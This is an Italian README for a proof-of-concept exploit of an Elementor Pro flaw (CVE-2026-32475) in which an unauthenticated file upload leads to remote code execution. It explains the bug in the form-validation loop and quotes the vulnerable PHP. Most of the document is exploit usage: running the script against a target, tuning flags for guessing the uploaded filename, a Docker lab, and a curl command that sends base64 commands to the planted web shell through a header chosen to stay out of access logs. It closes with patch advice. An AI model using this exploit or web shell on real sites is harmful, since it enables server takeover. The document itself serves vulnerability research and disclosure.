
PoC per CVE-2026-32475: Elementor Pro <=4.2.1 caricamento file non autenticato verso RCE. Solo stdlib Python.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Critical |
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) |
| Auth required | Nessuna |
| Affected | Elementor Pro ≤ 4.2.1 |
| Fixed | Elementor Pro 4.2.2 (2026-08-19) |
| Reporter | Tin Pham (TF1T), tramite Patchstack Bug Bounty Program |
Visitatore non autenticato
│
▼
Pagina del modulo Elementor (campo File Upload)
│
▼
POST multipart/form-data → admin-ajax.php
│
├── parte #1: file vuoto
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── la validazione si FERMA qui
│
└── parte #2: shell.php
└─► mai controllato per tipo
│
▼
process_field(): continue → sposta comunque il payload .php
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET su quell'URL ⇒ RCE
Il modulo Forms elabora ogni voce caricata in due passaggi separati con diverse semantiche di loop:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ salta solo questa voce
return move_uploaded_file(...) ◄─ sposta il resto
validation() si interrompe alla prima voce il cui errore è UPLOAD_ERR_NO_FILE, quindi
la voce .php che segue non viene mai controllata per tipo. process_field() salta
semplicemente quella voce vuota e sposta comunque tutte le successive nella directory
pubblica di upload. Il validatore segnala un errore mentre il mover procede — la
desincronizzazione tra i due loop è la vulnerabilità.
Codice vulnerabile (modules/forms/fields/upload.php, ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← interrompe l'intero loop
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← salta solo questa voce
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // l'estensione controllata dall'attaccante sopravvive
move_uploaded_file( $file['tmp_name'], $new_file );
La correzione in 4.2.2 fa concordare i due loop — la voce vuota non termina più la
validazione in anticipo, quindi la voce .php viene controllata per tipo e rifiutata.
post_id, form_id e l'id del campo di upload.admin-ajax.php
(action=elementor_pro_forms_send_form).<uniqid>
(vedi analysis.md per la mappatura completa uniqid → nome file).La shell legge il suo comando da un header di richiesta X-CMD (decodificato in base64)
invece che da un parametro query-string/POST. Questo serve solo a mantenere il trasporto
dei comandi separato dai parametri del modulo e fuori dalle tipiche query string dei log
di accesso — non ha alcuna rilevanza sulla vulnerabilità stessa.
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
Solo libreria standard Python 3. Flag di ottimizzazione:
| Flag | Default | Significato |
|---|---|---|
--probe-seconds | 0.05 | finestra in microsecondi uniqid da esplorare (secondi) |
--step-us | 2000 | microsecondi tra le sonde |
--workers | 24 | thread di sonda concorrenti |
--field-id | auto | impostato manualmente quando la scoperta automatica del campo di upload fallisce |
Nota sui target lenti: la fase di sonda può essere pesante per il target (migliaia di
richieste). Su piccoli dispositivi che ospitano sia target che attaccante, il server web
potrebbe scartare le submission concorrenti — esegui con --probe-seconds 0 per
dimostrare solo la primitiva di upload arbitrario, poi individua e verifica il .php
scartato sotto wp-content/uploads/elementor/forms/ direttamente sul target.
Il PoC separa due traguardi indipendenti:
Primitiva di upload arbitrario → PASS / FAIL
Recupero nome file (uniqid) → PASS / PARTIAL
Conferma RCE → PASS (entrambi i precedenti riusciti)
Codice di uscita 0 significa conferma completa di RCE. Codice di uscita 2 significa
che la primitiva di upload è stata dimostrata ma il nome file non è stato indovinato
entro la finestra (verifica manualmente il .php scartato sotto
wp-content/uploads/elementor/forms/).
Vedi docker-compose.yml. Passaggi completi:
# 1) avvia WordPress + MariaDB
docker compose up -d
# attendi ~30s per il DB, poi installa WordPress
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) installa Elementor gratuito
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) installa Elementor Pro vulnerabile (<= 4.2.1).
# Elementor Pro è un plugin a pagamento — posiziona il tuo
# elementor-pro.zip ottenuto legalmente (es. 4.2.1) accanto a docker-compose.yml prima:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) crea la pagina del modulo (il repo del PoC include setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) esegui il PoC
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
Primitiva di upload confermata — payload depositato come <uniqid>.php:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
RCE confermata richiedendo la shell depositata:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Aggiorna Elementor Pro alla 4.2.2+. Nel frattempo, rimuovi i campi File Upload dai moduli pubblici o limita l'invio dei moduli tramite regola WAF.
Solo per ricerca sulla sicurezza autorizzata e uso in laboratorio.